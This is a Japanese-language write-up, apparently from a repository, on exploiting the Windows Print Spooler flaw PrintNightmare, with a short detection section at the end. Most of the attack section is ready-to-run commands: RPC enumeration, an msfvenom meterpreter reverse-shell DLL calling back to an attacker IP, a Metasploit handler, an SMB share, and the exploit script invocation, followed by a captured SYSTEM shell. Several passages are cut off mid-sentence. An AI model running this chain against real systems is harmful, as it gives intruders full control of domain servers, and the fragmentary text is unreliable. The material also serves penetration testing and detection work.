
PrintNightmare (CVE-2021-1675 / CVE-2021-34527) の技術解説と分析。RCE/LPE の悪用、Windows イベントログによる検出、Print Spooler の緩和策を網羅しています。
このリポジトリには、低権限のドメインユーザーが最大のシステム権限で任意のコードをリモート実行できるようにする、Windowsプリントマネージャーサービス(Print Spooler)の重大な脆弱性の詳細な技術レポート(Write-up)とエクスプロイト概念の分析が含まれています。
🛑 警告と免責事項: この資料は、教育目的および合法的なセキュリティ監査(ペンテスト)の実施のみを目的として作成されています。所有者の事前の書面による同意なしにシステムに対して説明された手法を使用することは、法律で罰せられます。
PrintNightmare ファミリーの脆弱性は、Windows Server および Active Directory をベースとした企業環境にとって重大な脅威です。MS-RPRN(Print System Remote Protocol)および MS-PAR(Print System Asynchronous Remote Protocol)の RPC インターフェースにおける権限検証のアーキテクチャ上の欠陥により、リモートサーバー上でプリンタードライバーのインストールを正当に要求することが可能になります。
主な危険性は、デフォルトではプリントマネージャーサービス(spoolsv.exe)がほとんどのサーバー(ドメインコントローラー (Domain Controllers) を含む)でアクティブであり、最高権限のコンテキスト NT AUTHORITY\SYSTEM で動作していることです。単一の低権限アカウント(例: フィッシングによる)が侵害されると、攻撃者は Active Directory インフラストラクチャ全体を即座に完全に制御できるようになります。
impacket (rpcdump、smbserver)、msfvenom、Metasploit Framework、Python エクスプロイト。リモートコード実行(RCE)ベクトルを実現するには、最小権限を持つ有効なドメインユーザー資格情報が必要です(調査条件で提供されています)。
spoolsv.exe)がアクティブであり、最高権限 SYSTEM で動作しています。これにより、信頼されていないライブラリを読み込ませることを通じて、ホスト上でローカル権限昇格(LPE)を直接行う可能性が開かれます。メインのエクスプロイトを実行する前に、リモートマシンが脆弱な印刷プロトコルを提供しており、ネットワーク通信に対して開放されていることを確認する必要があります。対象システムの RPC インターフェースを調査します:
impacket-rpcdump @<TARGET_IP> | egrep 'MS-RPRN|MS-PAR'
確認用ターミナル出力:
Protocol: [MS-RPRN], Endpoint: [\pipe\spoolss]
Protocol: [MS-PAR], Endpoint: [\pipe\spoolss]
[MS-RPRN] と [MS-PAR] を正常に返しました。これは、システムが必要なリモート印刷インターフェースをサポートしており、PrintNightmare ベクトルに対して脆弱であることを100%確認します。x64 アーキテクチャ用のペイロードを作成し、リバースネットワーク接続のために攻撃マシンの IP アドレスを指定します:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f dll -o /tmp/malicious.dll
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST <ATTACKER_IP>; set LPORT 4444; run -j"
対象の Windows サーバーは、サードパーティ製ユーティリティを使用せずに、ネットワーク経由で当社の DLL ライブラリをダウンロードする正当な方法を持っている必要があります。/tmp フォルダーから SMBv2 プロトコルをサポートする SMB サーバーを起動します:
sudo impacket-smbserver tmp /tmp -smb2support
エクスプロイトの Python スクリプトを実行し、低権限のドメインユーザー資格情報と、ローカル SMB 共有上の悪意のあるライブラリへの UNC パスを渡します:
python3 CVE-2021-1675.py <LOW_PRIV_USER>:<PASSWORD>@<TARGET_IP> '\\<ATTACKER_IP>\tmp\malicious.dll'
セッション奪取成功のログ (Metasploit):
[*] Started reverse TCP handler on <ATTACKER_IP>:4444
[*] Sending stage (200574 bytes) to <TARGET_IP>
[*] Meterpreter session 1 opened (<ATTACKER_IP>:4444 -> <TARGET_IP>:49321)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 3412 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1935]
(c) Корпорация Майкрософт (Microsoft Corporation). Все права защищены.
C:\Windows\system32> whoami
nt authority\system
NT AUTHORITY\SYSTEM を持つ Meterpreter セッションが開かれました。ターゲットは完全に侵害されました。Blue Team の担当者にとって、PrintNightmare のエクスプロイトの検知は、Windows システムログの監査とプロセスの異常なアクティビティの追跡に基づいています。
エクスプロイトが正常に起動すると、印刷ログとシステムログに特徴的なエントリが残ります:
C:\Windows\System32\spool\drivers\x64\3\ 内のパス)を確認できます。Print Spooler)の突然の強制再起動。spoolsv.exe である、コマンドライン処理プロセス(cmd.exe、powershell.exe)または情報収集ユーティリティの出現。正規の状況では、spoolsv.exe がコマンドシェルを生成することは決してありません。spoolsv.exe が外部 SMB リソース(ポート 445)への発信ネットワーク接続を確立する。Disabled モードに設定する必要があります。